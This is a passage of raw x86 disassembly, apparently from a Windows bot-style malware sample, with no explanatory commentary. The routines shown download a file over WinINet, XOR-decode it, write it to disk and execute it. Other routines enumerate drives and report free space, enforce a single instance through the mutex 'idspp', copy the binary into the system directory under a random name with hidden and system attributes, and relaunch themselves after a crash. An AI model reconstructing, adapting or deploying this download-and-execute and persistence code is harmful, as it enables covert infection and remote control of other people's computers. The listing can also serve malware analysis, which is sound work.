		jnz	short loc_40BD99
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h

loc_40BD99:				; CODE XREF: sub_40BCEF+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		push	[ebp+var_48]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread

loc_40BDB6:				; CODE XREF: sub_40BCEF+68j
		xor	edi, edi
		call	dword_42104C	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_415DC9
		pop	ecx
		mov	[ebp+var_1C], eax

loc_40BDD0:				; CODE XREF: sub_40BCEF+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43A2B0	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_40BE14
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40C1E1
		pop	ecx
		pop	ecx

loc_40BE14:				; CODE XREF: sub_40BCEF+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_421070	; WriteFile
		cmp	edi, ebx
		jnb	short loc_40BE52
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40BE3C
		mov	eax, [ebp+arg_0]

loc_40BE3C:				; CODE XREF: sub_40BCEF+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch

loc_40BE52:				; CODE XREF: sub_40BCEF+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40BE5F
		cmp	edi, [ebp+var_3C]
		ja	short loc_40BEA9

loc_40BE5F:				; CODE XREF: sub_40BCEF+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40BE79
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42C014
		jmp	short loc_40BE89
; ---------------------------------------------------------------------------

loc_40BE79:				; CODE XREF: sub_40BCEF+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42BFD0

loc_40BE89:				; CODE XREF: sub_40BCEF+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43F328
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40BDD0

loc_40BEA9:				; CODE XREF: sub_40BCEF+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40BEFE
		cmp	edi, [ebp+var_3C]
		jz	short loc_40BEFE
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42BF88
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 28h

loc_40BEFE:				; CODE XREF: sub_40BCEF+1C4j
					; sub_40BCEF+1C9j
		call	dword_42104C	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_42106C	; CloseHandle
		push	[ebp+var_1C]
		call	sub_415E3D
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40BF88
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40B459
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40BF88
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42BF4C
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 28h

loc_40BF88:				; CODE XREF: sub_40BCEF+241j
					; sub_40BCEF+253j
		cmp	[ebp+var_14], esi
		jz	loc_40C1C8
		cmp	[ebp+var_44], 1
		jz	loc_40C083
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BF00
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C003
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h

loc_40C003:				; CODE XREF: sub_40BCEF+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40C1C8
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43A30C
		cmp	[ebp+var_30], esi
		jnz	loc_40C1C8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42BEC8
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		add	esp, 24h
		jmp	loc_40C1C8
; ---------------------------------------------------------------------------

loc_40C083:				; CODE XREF: sub_40BCEF+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_421660
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_421660
		fstp	[esp+590h+var_590]
		push	offset unk_42BE74
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C0EB
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h

loc_40C0EB:				; CODE XREF: sub_40BCEF+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_438FBC
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_4210EC	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40C16D
		call	dword_43A2F8	; WSACleanup
		call	sub_409E15
		push	esi
		call	dword_421114	; ExitProcess

loc_40C16D:				; CODE XREF: sub_40BCEF+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42BE28
		jmp	short loc_40C187
; ---------------------------------------------------------------------------

loc_40C17B:				; CODE XREF: sub_40BCEF+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42BDE8

loc_40C187:				; CODE XREF: sub_40BCEF+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40C1BB
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_412D4C
		add	esp, 14h

loc_40C1BB:				; CODE XREF: sub_40BCEF+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_40C1C8:				; CODE XREF: sub_40BCEF+29Cj
					; sub_40BCEF+325j ...
		push	[ebp+var_18]
		call	dword_43A3CC	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread
sub_40BCEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40C1E1	proc near		; CODE XREF: sub_40BCEF+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40C1FD

loc_40C1ED:				; CODE XREF: sub_40C1E1+1Aj
		mov	dl, byte_42C19C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40C1ED

locret_40C1FD:				; CODE XREF: sub_40C1E1+Aj
		retn
sub_40C1E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C1FE	proc near		; CODE XREF: sub_40CE55+293Cp
					; sub_40CE55+2A93p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417709
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40C1FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C218	proc near		; CODE XREF: sub_4063B0+45Dp
					; sub_4063B0+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43E768
		push	0
		push	edi
		call	sub_415570
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_40C23D:				; CODE XREF: sub_40C218+5Bj
					; sub_40C218+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_417260
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_4172E0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40C27B
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40C23D
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40C23D
; ---------------------------------------------------------------------------

loc_40C27B:				; CODE XREF: sub_40C218+4Bj
		dec	esi
		mov	eax, edi

loc_40C27E:				; CODE XREF: sub_40C218+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40C28D
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------

loc_40C28D:				; CODE XREF: sub_40C218+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C218	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C297	proc near		; CODE XREF: sub_40C443+51p
					; sub_40C443+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43A3F8	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40C2DA
		dec	eax
		jz	short loc_40C2D4
		dec	eax
		dec	eax
		jz	short loc_40C2CE
		dec	eax
		jz	short loc_40C2C8
		dec	eax
		jz	short loc_40C2C2
		dec	eax
		jz	short loc_40C2BC
		mov	eax, offset word_42B7C4
		retn
; ---------------------------------------------------------------------------

loc_40C2BC:				; CODE XREF: sub_40C297+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------

loc_40C2C2:				; CODE XREF: sub_40C297+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_40C2C8:				; CODE XREF: sub_40C297+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_40C2CE:				; CODE XREF: sub_40C297+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_40C2D4:				; CODE XREF: sub_40C297+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_40C2DA:				; CODE XREF: sub_40C297+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40C297	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2E0	proc near		; CODE XREF: sub_40C328+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43A294
		test	eax, eax
		jz	short loc_40C315
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA

loc_40C315:				; CODE XREF: sub_40C2E0+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C328	proc near		; CODE XREF: sub_40AAD1+1F3p
					; sub_40C443+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40C2E0
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40C400
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417750
		push	edx
		push	eax
		call	sub_40C218
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40C42F
; ---------------------------------------------------------------------------

loc_40C400:				; CODE XREF: sub_40C328+2Cj
					; sub_40C328+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4154E7
		add	esp, 18h

loc_40C42F:				; CODE XREF: sub_40C328+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40C328	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C443	proc near		; CODE XREF: sub_40C515+17p
					; sub_40C515+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40C328
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_415910
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40C4B6
		push	ebx
		push	ebx
		call	sub_40C297
		pop	ecx
		push	eax
		push	offset dword_42C128
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	short loc_40C4EA
; ---------------------------------------------------------------------------

loc_40C4B6:				; CODE XREF: sub_40C443+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40C297
		pop	ecx
		push	eax
		push	offset dword_42C0D8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 20h

loc_40C4EA:				; CODE XREF: sub_40C443+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40B16D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C515	proc near		; CODE XREF: sub_40CE55+5216p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40C536
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C443
		add	esp, 10h
		jmp	short loc_40C597
; ---------------------------------------------------------------------------

loc_40C536:				; CODE XREF: sub_40C515+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43A308	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_415DC9
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43A308	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40C58E

loc_40C55A:				; CODE XREF: sub_40C515+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C57D
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C443
		add	esp, 10h

loc_40C57D:				; CODE XREF: sub_40C515+54j
		push	esi
		call	sub_415CF0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40C55A

loc_40C58E:				; CODE XREF: sub_40C515+43j
		push	edi
		call	sub_415E3D
		pop	ecx
		pop	edi
		pop	esi

loc_40C597:				; CODE XREF: sub_40C515+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40C515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59A	proc near		; DATA XREF: sub_40C682+11o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43F534
		call	dword_43A430	; closesocket
		call	sub_41515C
		call	dword_43A2F8	; WSACleanup
		call	dword_43A2F8	; WSACleanup
		mov	ebx, dword_421060
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_438FBC
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_4210EC	; CreateProcessA
		test	eax, eax
		jz	short loc_40C65F
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_42106C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle

loc_40C65F:				; CODE XREF: sub_40C59A+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43E7A0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_421114	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_40C59A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C682	proc near		; CODE XREF: sub_417AF8+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= byte ptr -0E4h
var_64		= dword	ptr -64h
var_58		= dword	ptr -58h
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_40C59A
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_42C190, ebx
		jz	short loc_40C6B8
		call	sub_409F9D

loc_40C6B8:				; CODE XREF: sub_40C682+2Fj
		mov	esi, dword_42104C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_468818, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		call	sub_4089F2
		push	2
		call	dword_43A444	; SetErrorMode
		push	7530h
		push	offset aIdspp	; "idspp"
		push	ebx
		push	ebx
		call	dword_42112C	; CreateMutexA
		push	eax
		call	dword_421128	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40C70C
		push	1
		call	dword_421114	; ExitProcess

loc_40C70C:				; CODE XREF: sub_40C682+80j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_43A310	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40CB6C
		cmp	[ebp+var_884], 2
		jnz	loc_40CB66
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_40CB66
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_4210C8	; GetModuleHandleA
		push	eax
		call	dword_42107C	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_417348
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415AC0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40C96F
		cmp	dword_468988, ebx
		mov	esi, offset byte_42C1FC
		jz	short loc_40C807
		push	esi
		xor	edi, edi
		call	sub_415CF0
		sub	eax, 4
		pop	ecx
		jz	short loc_40C807

loc_40C7E4:				; CODE XREF: sub_40C682+183j
		call	sub_415543
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42C1FC[edi], dl
		inc	edi
		call	sub_415CF0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40C7E4

loc_40C807:				; CODE XREF: sub_40C682+152j
					; sub_40C682+160j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154E7
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C847
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_4210F4	; SetFileAttributesA

loc_40C847:				; CODE XREF: sub_40C682+1B1j
		mov	esi, dword_421124
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax

loc_40C85E:				; CODE XREF: sub_40C682+213j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_40C897
		call	dword_421088	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40C897
		cmp	eax, 20h
		jz	short loc_40C878
		cmp	eax, 5
		jnz	short loc_40C897

loc_40C878:				; CODE XREF: sub_40C682+1EFj
		push	1
		pop	edi
		push	3A98h
		call	dword_421060	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_40C85E
; ---------------------------------------------------------------------------

loc_40C897:				; CODE XREF: sub_40C682+1E0j
					; sub_40C682+1EAj ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_409D4F
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_4210F4	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_415570
		push	44h
		lea	eax, [ebp+var_64]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 18h
		mov	[ebp+var_64], esi
		mov	[ebp+var_58], offset byte_438FBC
		mov	[ebp+var_34], bx
		push	1
		pop	esi
		mov	[ebp+var_38], esi
		call	dword_421120	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_42111C	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
